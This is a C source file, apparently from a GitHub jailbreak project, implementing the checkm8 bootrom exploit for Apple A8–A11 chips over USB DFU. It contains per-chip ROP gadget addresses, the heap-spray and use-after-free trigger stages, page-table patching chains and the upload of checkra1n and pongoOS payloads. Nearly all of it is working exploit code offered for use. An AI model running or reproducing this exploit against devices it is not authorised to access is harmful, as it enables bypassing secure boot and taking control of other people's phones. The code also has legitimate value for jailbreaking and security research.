-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
checkm8.c
823 lines (738 loc) · 29.1 KB
/
checkm8.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
#include <openra1n_usb.h>
#include <common.h>
#include <common/log.h>
#include <lz4/lz4.h>
#include <lz4/lz4hc.h>
#include <payloads/s8000.bin.h>
#include <payloads/s8001.bin.h>
#include <payloads/s8003.bin.h>
#include <payloads/t7000.bin.h>
#include <payloads/t7001.bin.h>
#include <payloads/t8010.bin.h>
#include <payloads/t8011.bin.h>
#include <payloads/t8012.bin.h>
#include <payloads/t8015.bin.h>
#include <payloads/Pongo.bin.h>
#include <payloads/lz4dec.bin.h>
#define ARM_16K_TT_L2_SHIFT 25 /* page descriptor shift */
extern uint8_t payloads_s8000_bin[], payloads_s8001_bin[], payloads_s8003_bin[], payloads_t7000_bin[], payloads_t7001_bin[], payloads_t8010_bin[], payloads_t8011_bin[], payloads_t8012_bin[], payloads_t8015_bin[];
extern unsigned payloads_s8000_bin_len, payloads_s8001_bin_len, payloads_s8003_bin_len, payloads_t7000_bin_len, payloads_t7001_bin_len, payloads_t8010_bin_len, payloads_t8011_bin_len, payloads_t8012_bin_len, payloads_t8015_bin_len;
extern uint8_t payloads_Pongo_bin[], payloads_lz4dec_bin[];
extern unsigned payloads_Pongo_bin_len, payloads_lz4dec_bin_len;
static uint16_t cpid;
static const char *pwnd_str = " YOLO:checkra1n";
static size_t config_hole, config_overwrite_pad;
static uint64_t insecure_memory_base;
static uint64_t func_gadget, write_prim, write_prim2, arm_clean_invalidate_dcache_line, arm_invalidate_icache, enter_critical_section, exit_critical_section, write_ttbr0, tlbi, TTBR0_PATCH_BASE, TTBR0_BASE, bootstrap_task_lr, payload_start_offset;
static bool checkm8_check_usb_device(usb_handle_t *handle,
void *pwned)
{
char *usb_serial_num = get_usb_serial_number(handle);
bool ret = false;
if(usb_serial_num != NULL)
{
if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL)
{
cpid = 0x7001;
config_overwrite_pad = 0x500;
insecure_memory_base = 0x180380000;
func_gadget = 0x100010df4;
write_prim = 0x10000ed5c;
arm_clean_invalidate_dcache_line = 0x100000448;
arm_invalidate_icache = 0x100000424;
bootstrap_task_lr = 0x1800c2f68;
payload_start_offset = 0xc0;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL)
{
cpid = 0x7000;
config_overwrite_pad = 0x500;
insecure_memory_base = 0x180380000;
func_gadget = 0x10000ddf4;
write_prim = 0x10000bc2c;
arm_clean_invalidate_dcache_line = 0x100000448;
arm_invalidate_icache = 0x100000424;
bootstrap_task_lr = 0x1800c2f68;
payload_start_offset = 0xc0;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL)
{
cpid = 0x8003;
config_overwrite_pad = 0x500;
insecure_memory_base = 0x180380000;
func_gadget = 0x10000de0c;
write_prim2 = 0x100001bc0;
arm_clean_invalidate_dcache_line = 0x10000042c;
arm_invalidate_icache = 0x100000408;
bootstrap_task_lr = 0x1800c2f58;
payload_start_offset = 0xc0;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL)
{
cpid = 0x8000;
config_overwrite_pad = 0x500;
insecure_memory_base = 0x180380000;
func_gadget = 0x10000de0c;
write_prim2 = 0x100001bc0;
arm_clean_invalidate_dcache_line = 0x10000042c;
arm_invalidate_icache = 0x100000408;
bootstrap_task_lr = 0x1800c2f58;
payload_start_offset = 0xc0;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL)
{
cpid = 0x8001;
config_hole = 6;
config_overwrite_pad = 0x5C0;
insecure_memory_base = 0x180000000;
func_gadget = 0x10000cd38;
write_prim2 = 0x100001a78;
arm_clean_invalidate_dcache_line = 0x10000043c;
arm_invalidate_icache = 0x100000418;
enter_critical_section = 0x100009b24;
exit_critical_section = 0x100009b88;
write_ttbr0 = 0x1000003b4;
tlbi = 0x100000404;
TTBR0_PATCH_BASE = 0x180004000;
TTBR0_BASE = 0x50000;
bootstrap_task_lr = 0x180059f58;
payload_start_offset = 0x600;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL)
{
cpid = 0x8010;
config_hole = 5;
config_overwrite_pad = 0x5C0;
insecure_memory_base = 0x1800B0000;
func_gadget = 0x10000cc44;
write_prim2 = 0x100001808;
arm_clean_invalidate_dcache_line = 0x10000046c;
arm_invalidate_icache = 0x100000448;
enter_critical_section = 0x10000A4B8;
exit_critical_section = 0x10000A514;
write_ttbr0 = 0x1000003E4;
tlbi = 0x100000434;
TTBR0_PATCH_BASE = 0x1800b4000;
TTBR0_BASE = 0xa0000;
bootstrap_task_lr = 0x1800a9f68;
payload_start_offset = 0x600;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL)
{
cpid = 0x8011;
config_hole = 6;
config_overwrite_pad = 0x540;
insecure_memory_base = 0x1800B0000;
func_gadget = 0x10000cce4;
write_prim2 = 0x100001804;
arm_clean_invalidate_dcache_line = 0x10000047c;
arm_invalidate_icache = 0x100000458;
enter_critical_section = 0x10000a658;
exit_critical_section = 0x10000a6a0;
write_ttbr0 = 0x1000003F4;
tlbi = 0x100000444;
TTBR0_PATCH_BASE = 0x1800b4000;
TTBR0_BASE = 0xa0000;
bootstrap_task_lr = 0x1800a9f88;
payload_start_offset = 0x600;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL)
{
cpid = 0x8015;
config_hole = 6;
config_overwrite_pad = 0x540;
insecure_memory_base = 0x18001C000;
func_gadget = 0x10000a998;
write_prim = 0x100009c48;
arm_clean_invalidate_dcache_line = 0x1000004e4;
arm_invalidate_icache = 0x1000004c0;
enter_critical_section = 0x10000f958;
exit_critical_section = 0x10000f9a0;
write_ttbr0 = 0x10000045c;
tlbi = 0x1000004ac;
TTBR0_PATCH_BASE = 0x180020000;
TTBR0_BASE = 0xc000;
bootstrap_task_lr = 0x180015f88;
payload_start_offset = 0x600;
}
else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL)
{
cpid = 0x8012;
config_hole = 6;
config_overwrite_pad = 0x540;
insecure_memory_base = 0x18001C000;
func_gadget = 0x100008d8c;
write_prim = 0x100008058;
arm_clean_invalidate_dcache_line = 0x1000004cc;
arm_invalidate_icache = 0x1000004a8;
enter_critical_section = 0x10000f9b8;
exit_critical_section = 0x10000fa00;
write_ttbr0 = 0x100000444;
tlbi = 0x100000494;
TTBR0_PATCH_BASE = 0x180020000;
TTBR0_BASE = 0xc000;
bootstrap_task_lr = 0x180015f78;
payload_start_offset = 0x600;
}
if(cpid != 0)
{
*(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL;
ret = true;
}
free(usb_serial_num);
}
return ret;
}
static bool dfu_check_status(const usb_handle_t *handle,
uint8_t status,
uint8_t state)
{
struct
{
uint8_t status;
uint8_t poll_timeout[3];
uint8_t state;
uint8_t str_idx;
} dfu_status;
transfer_ret_t transfer_ret;
// usb_ctrl_req(0xa1, 3, 0, 0)
if(send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret))
{
// sanity checks
if(transfer_ret.ret == USB_TRANSFER_OK
&& transfer_ret.sz == sizeof(dfu_status)
&& dfu_status.status == status
&& dfu_status.state == state)
{
return true;
}
}
return false;
}
static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
// usb_ctrl_req(0x21, 1, 0, 0)
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret))
{
// sanity checks
if(transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0)
{
if(dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET))
{
return true;
}
}
}
return false;
}
static bool checkm8_stage_reset(const usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
// usb_ctrl_req(0x21, 1, 0, 0)
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret))
{
if(transfer_ret.ret == USB_TRANSFER_OK
&& transfer_ret.sz == DFU_FILE_SUFFIX_LEN)
{
if(dfu_set_state_wait_reset(handle))
{
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret))
{
if(transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
{
return true;
}
}
}
}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
return false;
}
static bool checkm8_stage_setup(const usb_handle_t *handle)
{
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;
for(;;)
{
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret))
{
if(transfer_ret.sz < config_overwrite_pad)
{
if(send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret))
{
if(transfer_ret.ret == USB_TRANSFER_STALL)
{
return true;
}
}
}
}
// re-do
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
return false;
}
static bool checkm8_usb_request_leak(const usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret))
{
if(transfer_ret.sz == 0)
{
return true;
}
}
return false;
}
static void checkm8_stall(const usb_handle_t *handle)
{
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;
for(;;)
{
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret))
{
if(transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ)
{
if(checkm8_usb_request_leak(handle))
{
break;
}
}
}
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
}
static bool checkm8_no_leak(const usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret))
{
if(transfer_ret.sz == 0)
{
return true;
}
}
return false;
}
static bool checkm8_usb_request_stall(const usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
if(send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret))
{
if(transfer_ret.ret == USB_TRANSFER_STALL)
{
return true;
}
}
return false;
}
static bool checkm8_stage_spray(const usb_handle_t *handle)
{
size_t i;
if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000)
{
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
else
{
checkm8_stall(handle);
for(i = 0; i < config_hole; ++i)
{
while(!checkm8_no_leak(handle)) {}
}
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
return true;
}
static bool generate_stage1(void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
uint16_t cpid)
{
bool wnx = false;
uint64_t write_gadget = 0;
uint32_t write_val = 0;
uint64_t base_address = insecure_memory_base;
if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8012 || cpid == 0x8015)
{
wnx = true;
}
size_t presize = wnx == true ? 0x600 : 0xc0;
void *buf = malloc(presize);
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (wnx == true ? 0x600 : 0xc0))) \
{ \
cb->callback = func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
goto fail; \
} \
} \
if((cpid == 0x8015) || (cpid == 0x8012) || (cpid == 0x7001) || (cpid == 0x7000))
{
write_gadget = write_prim;
}
else
{
write_gadget = write_prim2;
}
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(wnx) // only A9X-A11
{
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (cpid != 0x8001 ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(cpid == 0x8015) sram_bit |= 0x10000;
if(cpid == 0x8012) sram_bit |= 0x10000;
if(cpid == 0x8011) sram_bit |= 0xa4000;
if(cpid == 0x8010) sram_bit |= 0xa4000;
if(cpid == 0x8001) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(wnx)
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payload_start_offset);
}
PUSH(0, write_gadget, bootstrap_task_lr, write_val);
if(wnx) // only A9X-A11
{
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, arm_clean_invalidate_dcache_line, base_address + payload_start_offset, 0);
PUSH(wnx == true ? 0 : 1, arm_invalidate_icache, 0, 0);
if(wnx) // only A9X-A11
{
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (cpid != 0x8001 ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
PUSH(0, enter_critical_section, 0, 0);
PUSH(0, write_ttbr0, TTBR0_PATCH_BASE, 0);
PUSH(0, tlbi, 0, 0);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, arm_clean_invalidate_dcache_line, sram_rw_va + TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, write_ttbr0, sram_address + TTBR0_BASE, 0);
PUSH(0, tlbi, 0, 0);
PUSH(1, exit_critical_section, 0, 0);
}
*outlen = payload_sz + (wnx == true ? 0x600 : 0xc0);
*outbuf = malloc(*outlen);
memset(*outbuf, 0x0, *outlen);
memcpy(*outbuf, buf, wnx == true ? 0x600 : 0xc0);
memcpy(*outbuf + (wnx == true ? 0x600 : 0xc0), payload, payload_sz);
if(buf) free(buf);
return true;
fail:
if(buf) free(buf);
return false;
}
static bool checkm8_stage_patch(const usb_handle_t *handle)
{
size_t i, data_sz, packet_sz;
uint8_t *data;
transfer_ret_t transfer_ret;
bool ret = false;
void* checkra1n_payload = NULL;
void *overwrite = NULL;
size_t checkra1n_payload_sz = 0;
size_t overwrite_sz = 0;
checkm8_overwrite_t checkm8_overwrite;
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
checkm8_overwrite.callback.next = insecure_memory_base;
overwrite = &checkm8_overwrite;
overwrite_sz = sizeof(checkm8_overwrite);
switch (cpid)
{
case 0x8000:
LOG_DEBUG("setting up stage 2 for s8000");
checkra1n_payload = payloads_s8000_bin;
checkra1n_payload_sz = payloads_s8000_bin_len;
break;
case 0x8001:
LOG_DEBUG("setting up stage 2 for s8001");
checkra1n_payload = payloads_s8001_bin;
checkra1n_payload_sz = payloads_s8001_bin_len;
break;
case 0x8003:
LOG_DEBUG("setting up stage 2 for s8003");
checkra1n_payload = payloads_s8003_bin;
checkra1n_payload_sz = payloads_s8003_bin_len;
break;
case 0x7000:
LOG_DEBUG("setting up stage 2 for t7000");
checkra1n_payload = payloads_t7000_bin;
checkra1n_payload_sz = payloads_t7000_bin_len;
break;
case 0x7001:
LOG_DEBUG("setting up stage 2 for t7001");
checkra1n_payload = payloads_t7001_bin;
checkra1n_payload_sz = payloads_t7001_bin_len;
break;
case 0x8010:
LOG_DEBUG("setting up stage 2 for t8010");
checkra1n_payload = payloads_t8010_bin;
checkra1n_payload_sz = payloads_t8010_bin_len;
break;
case 0x8011:
LOG_DEBUG("setting up stage 2 for t8011");
checkra1n_payload = payloads_t8011_bin;
checkra1n_payload_sz = payloads_t8011_bin_len;
break;
case 0x8012:
LOG_DEBUG("setting up stage 2 for t8012");
checkra1n_payload = payloads_t8012_bin;
checkra1n_payload_sz = payloads_t8012_bin_len;
break;
case 0x8015:
LOG_DEBUG("setting up stage 2 for t8015");
checkra1n_payload = payloads_t8015_bin;
checkra1n_payload_sz = payloads_t8015_bin_len;
break;
default:
LOG_ERROR("unsupported cpid 0x%" PRIX32 "", cpid);
return false;
}
if(generate_stage1((void *)&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, cpid))
{
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle))
{
LOG_DEBUG("successfully leaked data");
}
else
{
LOG_ERROR("failed to leak data");
return false;
}
for(i = 0; i < 2; i++)
{
LOG_DEBUG("i = %zu", i);
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
}
if(overwrite != NULL)
{
if(send_usb_control_request(handle, 0, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret))
{
if(transfer_ret.ret == USB_TRANSFER_STALL)
{
ret = true;
for(i = 0; ret && i < data_sz; i += packet_sz)
{
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
}
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
}
}
}
if(data) free(data);
return ret;
}
if(data) free(data);
return false;
}
static void compress_pongo(void *out,
size_t *out_len)
{
size_t len = payloads_Pongo_bin_len;
size_t out_len_ = *out_len;
*out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX);
}
bool checkm8_boot_pongo(usb_handle_t *handle)
{
transfer_ret_t transfer_ret;
LOG_INFO("Booting pongoOS");
LOG_DEBUG("Compressing pongoOS");
LOG_DEBUG("Appending shellcode to the top of pongoOS (512 bytes)");
void *shellcode = malloc(512);
memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len);
size_t out_len = payloads_Pongo_bin_len;
void *out = malloc(out_len);
compress_pongo(out, &out_len);
LOG_DEBUG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len);
void *tmp = malloc(out_len + 512);
memcpy(tmp, shellcode, 512);
memcpy(tmp + 512, out, out_len);
free(out);
out = tmp;
out_len += 512;
free(shellcode);
LOG_DEBUG("Setting the compressed size into the shellcode");
uint32_t* size = (uint32_t*)(out + 0x1fc);
LOG_DEBUG("size = 0x%" PRIX32 "", *size);
*size = out_len - 512;
LOG_DEBUG("size = 0x%" PRIX32 "", *size);
LOG_DEBUG("Reconnecting to device");
init_usb_handle(handle, APPLE_VID, DFU_MODE_PID);
LOG_DEBUG("Waiting for device to be ready");
wait_usb_handle(handle, NULL, NULL);
{
size_t len = 0;
size_t size;
while(len < out_len)
{
retry:
size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len);
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret);
if(transfer_ret.ret == USB_TRANSFER_TIMEOUT)
{
LOG_DEBUG("retrying at len = %zu", len);
sleep_ms(100);
goto retry;
}
else if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK)
{
// fail
return false;
}
len += size;
LOG_DEBUG("len = %zu", len);
}
}
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
LOG_DEBUG("pongoOS sent, should be booting");
return true;
}
bool checkm8(usb_handle_t *handle)
{
enum
{
STAGE_RESET,
STAGE_SETUP,
STAGE_SPRAY,
STAGE_PATCH,
STAGE_PWNED
} stage = STAGE_RESET;
bool ret, pwned;
init_usb_handle(handle, APPLE_VID, DFU_MODE_PID);
while(stage != STAGE_PWNED && wait_usb_handle(handle, checkm8_check_usb_device, &pwned))
{
if(!pwned)
{
if(stage == STAGE_RESET)
{
ret = checkm8_stage_reset(handle);
stage = STAGE_SETUP;
}
else if(stage == STAGE_SETUP)
{
LOG_INFO("Setting up the exploit (this is the heap spray)");
ret = checkm8_stage_setup(handle);
stage = STAGE_SPRAY;
}
else if(stage == STAGE_SPRAY)
{
ret = checkm8_stage_spray(handle);
stage = STAGE_PATCH;
}
else
{
LOG_INFO("Right before trigger (this is the real bug setup)");
ret = checkm8_stage_patch(handle);
stage = STAGE_RESET;
}
if(ret)
{
LOG_DEBUG("Stage %d succeeded", stage);
}
else
{
LOG_ERROR("Stage %d failed", stage);
stage = STAGE_RESET;
}
reset_usb_handle(handle);
}
else
{
stage = STAGE_PWNED;
}
close_usb_handle(handle);
}
return stage == STAGE_PWNED;
}